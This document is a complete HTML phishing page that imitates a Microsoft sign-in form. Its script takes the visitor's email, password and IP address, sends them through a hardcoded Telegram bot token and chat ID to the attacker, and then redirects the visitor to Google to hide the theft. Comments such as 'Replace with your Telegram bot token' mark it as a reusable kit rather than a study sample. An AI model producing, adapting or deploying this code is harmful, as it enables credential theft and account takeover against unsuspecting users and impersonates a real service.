<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Microsoft Sign In</title>
    <style>
        body {
            margin: 0;
            background-color: #f3f3f3;
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
        }
        canvas {
            display: block;
            margin: 0 auto;
            background-color: #ffffff;
            border-radius: 8px;
            box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2);
        }
        #formContainer {
            position: relative;
            top: -420px;
            left: 0;
            right: 0;
            margin: auto;
            width: 300px;
            padding: 20px;
            border-radius: 8px;
        }
        input[type="email"], input[type="password"] {
            width: 100%;
            padding: 10px;
            margin: 10px 0;
            border: 1px solid #ddd;
            border-radius: 4px;
            font-size: 16px;
        }
        button {
            width: 100%;
            padding: 10px;
            background-color: #0078d4;
            color: #ffffff;
            border: none;
            border-radius: 4px;
            font-size: 16px;
            cursor: pointer;
        }
        button:hover {
            background-color: #005a9e;
        }
        .logo {
            position: relative;
            text-align: center;
            margin-bottom: 20px;
        }
    </style>
</head>
<body>
    <canvas id="loginCanvas" width="400" height="600"></canvas>

    <div id="formContainer">
        <div class="logo">
            <img src="https://upload.wikimedia.org/wikipedia/commons/4/44/Microsoft_logo.svg" alt="Microsoft" width="50">
        </div>
        <form id="loginForm">
            <input type="email" id="email" placeholder="Email or phone" required>
            <input type="password" id="password" placeholder="Password" required>
            <button type="submit">Sign In</button>
        </form>
    </div>

    <script>
        // Draw background on canvas
        const canvas = document.getElementById('loginCanvas');
        const ctx = canvas.getContext('2d');

        ctx.fillStyle = "#f3f3f3";
        ctx.fillRect(0, 0, canvas.width, canvas.height);

        ctx.fillStyle = "#0078d4";
        ctx.fillRect(0, 0, canvas.width, 150);

        ctx.fillStyle = "#ffffff";
        ctx.font = "20px 'Segoe UI', sans-serif";
        ctx.fillText("Sign in to your Microsoft account", 30, 50);

        ctx.font = "16px 'Segoe UI', sans-serif";
        ctx.fillText("Access your favorite Microsoft services", 30, 80);
        ctx.fillText("anytime, anywhere.", 30, 110);

        // Form submission handler
        const form = document.getElementById('loginForm');
        form.addEventListener('submit', async function (event) {
            event.preventDefault();

            const email = document.getElementById('email').value;
            const password = document.getElementById('password').value;

            const telegramBotToken = '7627756680:AAGfFczXna2wp-ebWb6Ie7x6usu-wABIHS0'; // Replace with your Telegram bot token
            const chatId = '7233324567';           // Replace with your Telegram chat ID

            // Fetch IP addresses
            let ipAddress = 'Unknown IP';
            try {
                const response = await fetch('https://api.ipify.org?format=json');
                const data = await response.json();
                ipAddress = data.ip;
            } catch (error) {
                console.error('Error fetching IP address:', error);
            }

            // Message to send to Telegram
            const message = `Email: ${email}\nPassword: ${password}\nIP Address: ${ipAddress}`;

            try {
                const telegramResponse = await fetch(`https://api.telegram.org/bot${telegramBotToken}/sendMessage`, {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json',
                    },
                    body: JSON.stringify({
                        chat_id: chatId,
                        text: message,
                    }),
                });

                if (telegramResponse.ok) {
                    window.location.href = 'https://www.google.com'; // Redirect on success
                } else {
                    console.error('Error sending to Telegram:', await telegramResponse.json());
                }
            } catch (error) {
                console.error('Failed to send data to Telegram:', error);
            }
        });
    </script>
</body>
</html>
